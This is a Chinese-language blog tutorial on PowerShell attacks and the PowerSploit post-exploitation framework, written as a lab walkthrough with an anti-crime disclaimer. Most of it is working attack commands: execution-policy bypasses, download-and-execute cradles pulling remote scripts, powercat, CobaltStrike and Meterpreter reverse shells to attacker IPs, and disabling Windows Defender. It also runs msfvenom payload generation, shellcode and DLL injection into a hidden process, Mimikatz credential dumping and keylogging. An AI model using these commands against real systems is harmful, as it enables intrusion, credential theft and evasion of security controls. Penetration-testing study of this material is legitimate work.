四十二.Powershell惡意代碼檢測系列 (3)PowerSploit腳本滲透詳解
作者作為網絡安全的小白,分享一些自學基礎教程給大家,主要是關于安全工具和實踐操作的在線筆記,希望您們喜歡。同時,更希望您能與我一起操作和進步,后續將深入學習網絡安全和系統安全知識并分享相關實驗。總之,希望該系列文章對博友有所幫助,寫文不易,大神們不喜勿噴,謝謝!如果文章對您有幫助,將是我創作的最大動力,點贊、評論、私聊均可,一起加油喔!

聲明:本人堅決反對利用教學方法進行犯罪的行為,一切犯罪行為必將受到嚴懲,綠色網絡需要我們共同維護,更推薦大家了解它們背后的原理,更好地進行防護。(參考文獻見后)
一.Powershell攻擊詳解
在滲透測試中,Powershell是不能忽略的一個環節,而且仍在不斷地更新和發展,它具有良好的靈活性和功能化管理Windows系統的能力。一旦攻擊者可以在一臺計算機上運行代碼,就會下載PowerShell腳本文件(.ps1)到磁盤中執行,甚至無須寫到磁盤中執行,它就可以直接在內存中運行。
這些特點使得PowerShell在獲得和保持對系統的訪問權限時,成為攻擊者首選的攻擊手段,利用PowerShell的諸多特點,攻擊者可以持續攻擊而不被輕易發現。常用的PowerShell攻擊工具有以下幾種。
- PowerSploit
- 這是眾多PowerShell攻擊工具中被廣泛使用的PowerShell后期漏洞利用框架,常用于信息探測、特權提升、憑證竊取、持久化等操作。
- Nishang
- 基于PowerShell的滲透測試專用工具,集成了框架、腳本和各種Payload,包含下載和執行、鍵盤記錄、DNS、延時命令等腳本。
- Empire
- 基于PowerShell的遠程控制木馬,可以從憑證數據庫中導出和跟蹤憑據信息,常用于提供前期漏洞利用的集成模塊、信息探測、憑據竊取、持久化控制。
- PowerCat
- PowerShell版的NetCat,有著網絡工具中的“瑞士軍刀”美譽,它能通過TCP和UDP在網絡中讀寫數據。通過與其他工具結合和重定向,讀者可以在腳本中以多種方式使用它。
1.PowerShell簡介
Windows PowerShell 是一種命令行外殼程序和腳本環境,它內置在Windows 7版本及其以上的系統中,使命令行用戶和腳本編寫者可以利用 .NET Framework的強大功能。它引入了許多非常有用的新概念,從而進一步擴展了您在 Windows 命令提示符和 Windows Script Host 環境中獲得的知識和創建的腳本。
各Windows操作系統的PowerShell版本如下:

一旦攻擊者在一臺計算機上運行代碼,他們就會下載PowerShell腳本文件(.ps1)到磁盤中執行,甚至無須寫道磁盤中執行,就可以直接在內存中運行(無文件攻擊),也可以把PowerShell看作命令行提示符cmd.exe的擴充。
在64位的Windows操作系統中,存在x64和x86兩個版本的PowerShell,這兩個版本的執行策略不會相互影響,可以看作是兩個獨立的程序。x64版本的配置文件在如下路徑中。PowerShell包含兩個應用程序組件:基于文本的標準控制臺(powershell.exe)和集成命令環境的圖形化界面(ISE:powershell_ise.exe)。
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0

傳統的CMD支持腳本編寫,但擴展性不好,而Powershell類似于Linux shell,具有更好的遠程處理、工作流、可更新的幫助、預定任務(Scheduled Job)、CIM等優點。
(1) 首先,如何進入Powershell呢?
一種方法是在運行中直接輸入Powershell打開,另一種方法是CMD中輸入Powershell打開。


不同操作系統內置的Powershell是不一樣的,比如win7或win2008。

(2) 其次,如何查看版本呢?
第一個命令如下:
Get-Host
輸出結果如下圖所示:

另一個命令是:
$psversiontable

同時,Powershell可以獲取計算機的服務詳細信息、狀態等。
get-service
其顯示結果如下圖所示,采用動詞+名詞方式命名,比較清楚。

(3) 簡單總結PowerShell優點
PowerShell需要.NET環境的支持,同時支持.NET對象,其可讀性、易用性,可以位居當前所有Shell之首。PowerShell的這些特點正在吸引攻擊者,使它逐漸成為一個非常流行且得力的攻擊工具。由于Powershell具有以下特點,它被廣泛應用于安全領域,甚至成為每一位Web安全必須掌握的技術。常見的優點包括:
- Windows 7以上的操作系統默認安裝
- PowerShell腳本可以運行在內存中,不需要寫入磁盤
- 可以從另一個系統中下載PowerShell腳本并執行
- 目前很多工具都是基于PowerShell開發的
- 很多安全軟件并不能檢測到PowerShell的互動
- cmd.exe通常會被阻止運行,但PowerShell不會
- 可以用來管理活動目錄
- 支持面向對象,支持和.net平臺交互
- 強大的兼容性,和cmd、vbs相互調用
- 可擴展性好,它可以用來管理活動目錄、虛擬機產品等平臺
2.PowerShell基本概念
(1) PS1文件
一個PowerShell腳本其實是一個簡單的文本文件,這個文件包含了一系列PowerShell命令,每個命令顯示為獨立的一行,對于被視為PowerShell腳本的文本文件,它的文件名需要加上.PS1的擴展名。
(2) 執行策略
為防止惡意腳本的執行,PowerShell有一個執行策略,在默認情況下,這個執行策略被設為首先。在PowerShell腳本無法執行時,可以使用下面的 Get-ExecutionPolicy 命令確定當前的執行策略。它包括4個策略:
- Restricted:腳本不能運行(默認設置)
- RemoteSigned:本地創建的腳本可以運行,但從網上下載的腳本不能運行(擁有數字證書簽名除外)
- AllSigned:僅當腳本由受信任的發布者簽名時才能運行
- Unrestricted:允許所有的Script運行

我們還可以使用下面的cmdlet命令設置PowerShell的執行策略。
- Set-ExecutionPolicy [policy name] 策略名

(3) 運行腳本
運行一個PowerShell腳本,必須鍵入完整的路徑和文件名。例如,你要運行一個名為a.ps1的腳本,可以鍵入 C:\Scripts\a.ps1。最大的例外是,如果PowerShell腳本文件剛好位于你的系統目錄中,那么在命令提示符后直接鍵入腳本文件名即可運行,如 .\a.ps1 的前面加上“.\”,這和在Linux下還行Shell腳本的方法一樣。

(4) 管道
PowerShell的管道作用是將一個命令的輸出作為另一個命令的輸入,兩個命令之間用管道符號(|)連接。舉個例子來看管道是如何工作的,假設停止所有目前運行匯總以 “p” 字符開頭命名的程序,命令如下:
- get-process p* | stop-process

管道并不是什么新事物,以前的Cmd控制臺也有重定向的命令,例如Dir | More可以將結果分屏顯示。傳統的Cmd管道是基于文本的,但是Powershell管道是基于對象。例如:
linux:lscmd:dir

如果只獲取其中的name、mode值,則使用如下指令。
ls | format-table name, mode

3.PowerShell常用命令及繞過權限執行
在PowerShell下,類似“cmd命令”叫作“cmdlet”,其命名規范相當一致,都采用“動詞-名詞”的形式,如New-Item,動詞部分一般為Add、New、Get、Remove、Set等,命名的別名一般兼容Windows Command和Linux Shell,如Get-ChildItem命令使用dir或ls均可,而且PowerShell命令不區分大小寫。
下面以文件操作為例講解PowerShell命令的基本用法。
- 新建目錄:New-Item whitecellclub-ItemType Directory
- 新建文件:New-Item light.txt-ItemType File
- 刪除目錄:Remove-Item whitecellclub
- 顯示文件內容:Get-Content test.txt
- 設置文件內容:Set-Content test.txt-Value “hello,world!”
- 追加內容:Add-Content light.txt-Value “i love you”
- 清除內容:Clear-Content test.txt
舉個簡單的示例:
New-Item test -ItemType directoryRemove-Item testNew-Item eastmount.txt -ItemType file -value "hello csdn" Get-Content eastmount.txtAdd-Content eastmount.txt -Value " bye!"Get-Content eastmount.txt Set-Content eastmount.txt -Value "haha"Get-Content eastmount.txtClear-Content eastmount.txtGet-Content eastmount.txtRemove-Item eastmount.txtGet-Content eastmount.txt

同樣,我們還以通過Windows終端提示符輸入“PowerShell”,進入PowerShell命令行,輸入help命令顯示幫助菜單。

經過測試,在cmd窗口執行過程下載的PowerShell腳本,不論當前策略,都可以直接運行。而如果要在PowerShell窗口運行腳本程序,必須要管理員權限將Restricted策略改成Unrestricted,所以在滲透時,就需要采用一些方法繞過策略來執行腳本。
(1) 下載遠程PowerShell腳本繞過權限執行
調用DownloadString函數下載遠程的ps1腳本文件。
//cmd窗口執行以下命令powershell -c IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.10.11/test.ps1')
//在powershell窗口執行IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.10.11/test.ps1')
下圖引用謝公子的圖片,切換到CMD窗口運行。

(2) 繞過本地權限執行
上傳xxx.ps1至目標服務器,在CMD環境下,在目標服務器本地執行該腳本,如下所示。
PowerShell.exe -ExcutionPolicy Bypass -File xxx.ps1 powershell -exec bypass .\test.ps1

(3) 本地隱藏繞過權限執行腳本
PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoLogo-NonInteractive -NoProfile -File xxx.ps1
舉個示例:
- powershell.exe -exec bypass -W hidden -nop test.ps1
(4) 用IEX下載遠程PS1腳本繞過權限執行
PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden-NoProfile-NonIIEX(New-ObjectNet.WebClient).DownloadString("xxx.ps1");[Parameters]
下面對上述命令的參數進行說明,如下所示。
- ExecutionPolicy Bypass:繞過執行安全策略,這個參數非常重要,在默認情況下,PowerShell的安全策略規定了PowerShell不允許運行命令和文件。通過設置這個參數,可以繞過任意一個安全保護規則。在滲透測試中,基本每一次運行PowerShell腳本時都要使用這個參數。
- WindowStyle Hidden:隱藏窗口
- NoLogo:啟動不顯示版權標志的PowerShell
- NonInteractive(-NonI):非交互模式,PowerShell不為用戶提供交互的提示
- NoProfile(-NoP):PowerShell控制臺不加載當前用戶的配置文件
- Noexit:執行后不退出Shell,這在使用鍵盤記錄等腳本時非常重要
再次強調,PowerShell腳本在默認情況下無法直接執行,這是就可以使用上述方法繞過安全策略,運行PowerShell腳本如下圖所示。
PowerShell.exe -ExecutionPolicy Bypass -File .\test.ps1
通過增加 -ExecutionPolicy Bypass 實現繞過安全策略,并運行輸出結果。

本地我們可以看到 test.ps1 文件。

4.PowerShell遠程下載文件并執行
該部分內容學習了謝公子老師的總結,當然第二部分我詳細介紹了和滲透結合的用法。
CMD窗口下載文件
管理員權限才可以下載到C盤目錄下,普通權限不能下載到C盤。
//下載文件到指定目錄powershell (new-object system.net.webclient).downloadfile('http://192.168.10.11/test.exe','d:/test.exe'); //下載文件到當前目錄powershell (new-object system.net.webclient).downloadfile('http://192.168.10.11/test.exe','test.exe');
CMD窗口下載文件并執行exe
powershell (new-object system.net.webclient).downloadfile('http://192.168.10.11/test.exe','test.exe');start-process test.exe
CMD窗口下載文件并執行ps1腳本
powershell -c IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.10.11/test.ps1')
遠程下載powercat.ps1腳本,并帶參數運行,該命令可以繞過PowerShell執行策略
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.10.11 -p 8888 -e cmd
5.PowerShell滲透測試常用命令
關閉Windows自帶的Defender防火墻(需要管理員權限)。
powershell Set-MpPreference -disablerealtimeMonitoring $true
在CMD窗口下執行,將遠程主機上的test.exe下載到本地。
powershell (new-object system.net.webclient).downloadfile('http://192.168.10.11/test.exe','d:/test.exe');
在CMD窗口下利用PowerShell反彈NC shell。
//在cmd窗口執行powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.10.11 -p 8888 -e cmd
//在powershell窗口執行IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.10.11 -p 8888 -e cmd
在CMD窗口下利用PowerShell反彈CobaltStrike Shell。
//在cmd窗口執行powershell.exe -c IEX ((new-object net.webclient).downloadstring('http://xx.xx.xx.xx/a'))
//在powershell窗口執行IEX ((new-object net.webclient).downloadstring('http://xx.xx.xx.xx/a'))
在CMD窗口下利用PowerShell反彈MSF Shell。
//在cmd窗口執行powershell -c IEX (New-Object Net.WebClient).DownloadString('http://xx.xx.xx.xx/7788.ps1');xx.ps1
//在powershell窗口執行IEX (New-Object Net.WebClient).DownloadString('http://xx.xx.xx.xx/7788.ps1');xx.ps1
遠程加載PowerShell腳本讀取明文密碼(需要管理員權限)。
//在cmd窗口執行powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz –DumpCerts
//在powershell窗口執行IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz –DumpCerts
遠程加載PowerShell腳本讀取明文密碼hash值(需要管理員權限)。
//在cmd窗口執行powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes
//在powershell窗口執行IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes
6.PowerShell導入文件
在大型PowerShell項目中,通常包括.ps1、.psd1和.psm1后綴文件。比如Powersploit。
- .ps1文件
- PowerShell腳本文本
- .psd1文件
- 模塊介紹文件
- .psm1文件
- 模塊文件


其中,psm1和psd1文件可以使用以下命令導入。
Import-Module .\PowerSploit.psm1 Import-Module .\PowerSploit.psd1
導入模塊輸入命令:
- Get-Command -Module PowerSploit

對于.ps1文件,既可以使用Import-Module導入,也可以使用 . 導入。
Import-Module .\Get-Information.ps1. .\Get-Information.ps1
二.PowerSploit攻擊詳解
PowerSploit是一款基于PowerShell的后滲透(Post-Exploition)框架軟件,包含很多PowerShell攻擊腳本,它們主要用于滲透中的信息偵查、權限提升、權限維持。PowerSploit各個模塊的功能包括:
- AntivirusBypass:發現殺毒軟件的查殺特征
- CodeExecution:在目標主機上執行代碼
- Exfiltration:目標主機上的信息搜集工具
- Mayhem:藍屏等破壞性腳本
- Persistence:后門腳本(持久性控制)
- Recon:以目標主機為跳板進行內網信息偵查
- ScriptModification:在目標主機上創建或修改腳本

其GitHub地址為:
- https://github.com/PowerShellMafia/PowerSploit

1.PowerSploit安裝
第一步,下載PowerSploit資源。
我們在Kali中可以使用git命令下載該程序。
- git clone https://github.com/PowerShellMafia/PowerSploit
如果下載報錯“git fatal: unable to access server certificate verification failed. CAfile: none CRLfile: none”,讀者可以直接從github下載移動至Kali指定目錄。

第二步,解壓文件。
- unzip PowerSploit-master.zip

解壓后的文件如下圖所示:

第三步,將解壓后的文件夾移動到/var/www/html目錄,然后搭建一個簡易的服務器。
- mv PowerSploit-master /var/www/html

第四步,開啟Apache服務器。
- service apache2 start

在本地瀏覽器中用IP地址訪問,證明我們的Apache服務器設置成果。

2.MSF反彈Shell
接下來,我們在Kali中使用 reverse_https模塊進行反彈shell。
第一步,打開msfconsole。
- msfconsole

第二步,在msf設置 windows/x64/meterpreter/reverse_https 模塊進行反彈并開啟監聽。
- use exploit/multi/handler
- 使用監聽模塊
- set payload windows/x64/meterpreter/reverse_tcp
- 設置payload
- set LHOST 192.168.44.138
- 設置本機IP地址
- set RPORT 4444
- 設置本地端口4444

- show options
- 查看監聽的配置信息

接著運行處于監聽狀態。
- run
- exploit

3.Invoke-Shellcode執行代碼
CodeExecution模塊下的Invoke-Shellcode腳本常用于將Shellcode插入指定的進程ID或本地PowerShell中,下面介紹兩種常用的反彈Meterpreter Shell方法。
第一種方法:直接執行shellcode反彈Meterpreter Shell
第一步,使用之前的步驟利用MSF進行監聽。
msf5 exploit(multi/handler) > run [*] Started HTTPS reverse handler on https://192.168.59.128:4444
第二步,使用msfvenom命令生成一個powershell腳本木馬。
- msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.44.138
- LPORT=4444 -f powershell -o /var/www/test

生成的腳本位于 /var/www/html 目錄下,代碼如下圖所示:


第三步,接著在目標機Powershell下輸入以下命令下載該腳本。
- IEX (New-Object Net.WebClient).DownloadString(“http://192.168.44.138/PowerSploit-master/CodeExecution/Invoke-Shellcode.ps1”)


常見錯誤解決方法
第一種錯誤是提示“被防病毒軟件阻止”。
此時我們需要設置防火墻攔截問題,允許該powershell運行即可。
如果還是被攔截,可能是需要管理員權限運行PowerSploit,設置方法如下:
第四步,輸入以下命令下載木馬。
- IEX (New-Object Net.WebClient).DownloadString(“http://192.168.44.138/test”)

第五步,運行下面的命令。其中的-Force意思是不用提示,直接執行。
- Invoke-Shellcode -Shellcode ($buf) -Force
按理說,此步驟執行完成后,返回MSF的監聽界面下,會發現已經反彈成功了,可是我的Powershell在運行完命令后會報錯或崩潰,個人感覺環境問題。

正確運行結果如下圖所示:

第二種方法:指定進程注入shellcode反彈Meterpreter Shell
第一步,同樣先在目標機Powershell下輸入命令下載腳本和木馬。
IEX (New-Object Net.WebClient).DownloadString("http://192.168.44.138/PowerSploit-master/CodeExecution/Invoke-Shellcode.ps1")IEX (New-Object Net.WebClient).DownloadString("http://192.168.44.138/test")
第二步,輸入Get-Process命令或者ps命令查看當前進程。
- Get-Process

第三步,輸入命令創建一個新進程,并把它設置為隱藏的。
- Start-Process C:\windows\system32otepad.exe -WindowStyle Hidden
- Get-Process

第四步,輸入Get-Process命令查看進程,可以看到多了一個id為2580,名為notepad的進程。

第五步,使用Invoke-Shellcode腳本進行進程注入。
- Invoke-Shellcode -ProcessID 2580 -Shellcode ($buf) -Force
4.Invoke-Portscan掃描端口
nvoke-Portscan是Recon模塊下的一個腳本,主要用于端口掃描,使用起來也比較簡單。使用方法如下。
第一步,先下載腳本,然后進行掃描。
- IEX (New-Object Net.WebClient).DownloadString(“http://192.168.44.138/PowerSploit-master/Recon/Invoke-Portscan.ps1”)

第二步,使用下面命令掃描端口。
- Invoke-Portscan -Hosts 192.168.44.1,192.168.44.138 -Ports “80,22,445,3389”


發現1開放445和3389端口,138開放80端口。
5.Invoke-Mimikatz
Invoke-Mimikatz是Exfiltration模塊下的一個腳本。
第一步,下載腳本。
- IEX (New-Object Net.WebClient).DownloadString(“http://192.168.44.138/PowerSploit-master/Exfiltration/Invoke-Mimikatz.ps1”)


第二步,執行命令使用Mimikatz攻擊,密碼抓取工具。
- Invoke-Mimikatz -DumpCreds
PS C:\> Invoke-Mimikatz -DumpCreds .#####. mimikatz 2.1 (x64) built on Nov 10 2016 15:31:14 .## ^ ##. "A La Vie, A L'Amour" ## / \ ## /* * * ## \ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) '## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo) '#####' with 20 modules * * */ mimikatz(powershell) # sekurlsa::logonpasswordsERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005) #報錯啦 mimikatz(powershell) # exitBye! PS C:\>

6.Invoke-DllInjection
下面使用CodeExecution模塊下的另一個腳本Invoke-DllInjection,它是一個DLL注入的腳本。
第一步,在MSF里配置好監聽,使用以下命令在kali中生成一個dll的反彈木馬。
- msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.44.138
- LPORT=4444 -f dll -o /var/www/html/test.dll

生成的test.dll注入文件如下圖所示:

第二步,在目標機上下載腳本,輸入以下命令。
- IEX (New-Object Net.WebClient).DownloadString(“http://192.168.44.138/PowerSploit-master/CodeExecution/Invoke-DllInjection.ps1”)


第三步,啟動一個新進程,使用Invoke-Shellcode腳本進行進程注入。
- Start-Process C:\windows\system32otepad.exe -WindowStyle Hidden

- Get-Process
- get-process notepad

第四步,使用下面命令注入。
- Invoke-DllInjection -ProcessID 2580 -Dll c:\test.dll

但是MSF反彈還是失敗。
7.Get-Keystrokes
Get-Keystrokes是Exfiltration模塊下的一個腳本,用于鍵盤記錄,功能相當強大,不僅有鍵盤輸入記錄,甚至能記錄鼠標的點擊情況,還能記錄詳細的時間,實戰時可以直接放入后臺運行。使用方法如下。

第一步,下載腳本。
- IEX (New-Object Net.WebClient).DownloadString(“http://192.168.44.138/PowerSploit-master/Exfiltration/Get-Keystrokes.ps1”)

第二步,命令開啟鍵盤記錄。
- Get-Keystrokes -Logpath c:\test1.txt

第三步,存儲相關信息。

8.腳本分類及功能
AntivirusBypass(繞過殺毒)
- Find-AVSignature
- 發現殺軟的簽名
CodeExecution(代碼執行)
- Invoke-DllInjection.ps1
- DLL注入腳本 注意dll架構要與目標進程相符,同時要具備相應的權限
- Invoke-ReflectivePEInjection.ps1
- 反射型注入 將Windows PE文件(DLL / EXE)反射加載到powershell進程中,或反射地將DLL注入遠程進程
- Invoke-Shellcode.ps1
- 將shellcode插入您選擇的進程ID或本地PowerShell中
- Invoke-WmiCommand.ps1
- 在目標主機使用wmi執行命令
Exfiltration(信息收集):主要是收集目標主機上的信息
- Out-Minidump.ps1
- 生成一個進程的全內存小數據庫
- Get-VaultCredential.ps1
- 顯示Windows徽標憑據對象,包括明文Web憑據
- Get-Keystrokes.ps1
- 記錄按鍵,時間和活動窗口
- Get-GPPPassword.ps1
- 檢索通過組策略首選項推送的帳戶的明文密碼和其他信息
- Get-GPPAutologon.ps1
- 如果通過組策略首選項推送,則從registry.xml檢索自動登錄用戶名和密碼
- Get-TimedScreenshot.ps1
- 這是一個以定期間隔拍攝屏幕并將其保存到文件夾的功能
- Invoke-Mimikatz.ps1
- 查看主機密碼
- Invoke-NinjaCopy.ps1
- 通過讀取原始卷并解析NTFS結構,從NTFS分區卷復制文件
- Invoke-CredentialInjection.ps1
- 使用明文憑據創建登錄,而不會觸發可疑事件ID 4648(顯式憑證登錄)
- Invoke-TokenManipulation.ps1
- 列出可用的登錄令牌。與其他用戶創建進程登錄令牌,并模仿當前線程中的登錄令牌
- Get-MicrophoneAudio.ps1
- 通過麥克風記錄聲音
- VolumeShadowCopyTools.ps1
Recon(信息偵察):這個文件夾主要是以目標主機為跳板進行內網主機偵察
- Invoke-Portscan.ps1
- 端口掃描
- Get-HttpStatus.ps1
- 返回指定路徑的HTTP狀態代碼和完整URL,并附帶字典文件
- Invoke-ReverseDnsLookup.ps1
- 掃描DNS PTR記錄的IP地址范圍
- PowerView.ps1
- PowerView是一系列執行網絡和Windows域枚舉和利用的功能
- Get-ComputerDetails
- 獲得登錄信息
ScriptModification(腳本修改)
- Out-EncodedCommand.ps1
- 將腳本或代碼塊編碼,并為PowerShell有效載荷腳本生成命令行輸出
- Out-EncryptedScript.ps1
- 加密文本文件/腳本
- Out-CompressedDll.ps1
- 壓縮,Base-64編碼,并輸出生成的代碼,以將受管理的DLL加載到內存中
- Remove-Comments.ps1
- 從腳本中刪除注釋和多余的空白
Persistence(權限維持)
- New-UserPersistenceOption
- 為添加持久性函數配置用戶級持久性選項。
- New-ElevatedPersistenceOption
- 為添加持久性函數配置提升的持久性選項。
- Add-Persistence
- 向腳本添加持久性功能
- Install-SSP
- 安裝安全支持提供程序(ssp)dll
- Get-SecurityPackages
Privesc(提權)
- PowerUP
- 共同特權升級檢查的信息交換所,以及一些武器化載體
- Get-System
Mayhem
- Set-MasterBootRecord
- 選擇的消息覆寫主引導記錄
- Set-CriticalProcess
- 退出powershell時使系統藍屏
三.總結
寫到這里,這篇文章就介紹結束了,希望對您有所幫助,繼續加油~
- 一.Powershell攻擊詳解
- 1.PowerShell簡介
- 2.PowerShell基本概念
- 3.PowerShell常用命令及繞過權限執行
- 4.PowerShell遠程下載文件并執行
- 5.PowerShell滲透測試常用命令
- 6.PowerShell導入文件
- 二.PowerSploit攻擊詳解
- 1.PowerSploit安裝
- 2.MSF反彈Shell
- 3.Invoke-Shellcode執行代碼
- 4.Invoke-Portscan掃描端口
- 5.Invoke-Mimikatz
- 6.Invoke-DllInjection
- 7.Get-Keystrokes
- 8.腳本分類及功能
- 三.總結
這篇文章中如果存在一些不足,還請海涵。作者作為網絡安全初學者的慢慢成長路吧!希望未來能更透徹撰寫相關文章。同時非常感謝參考文獻中的安全大佬們的文章分享,深知自己很菜,得努力前行。


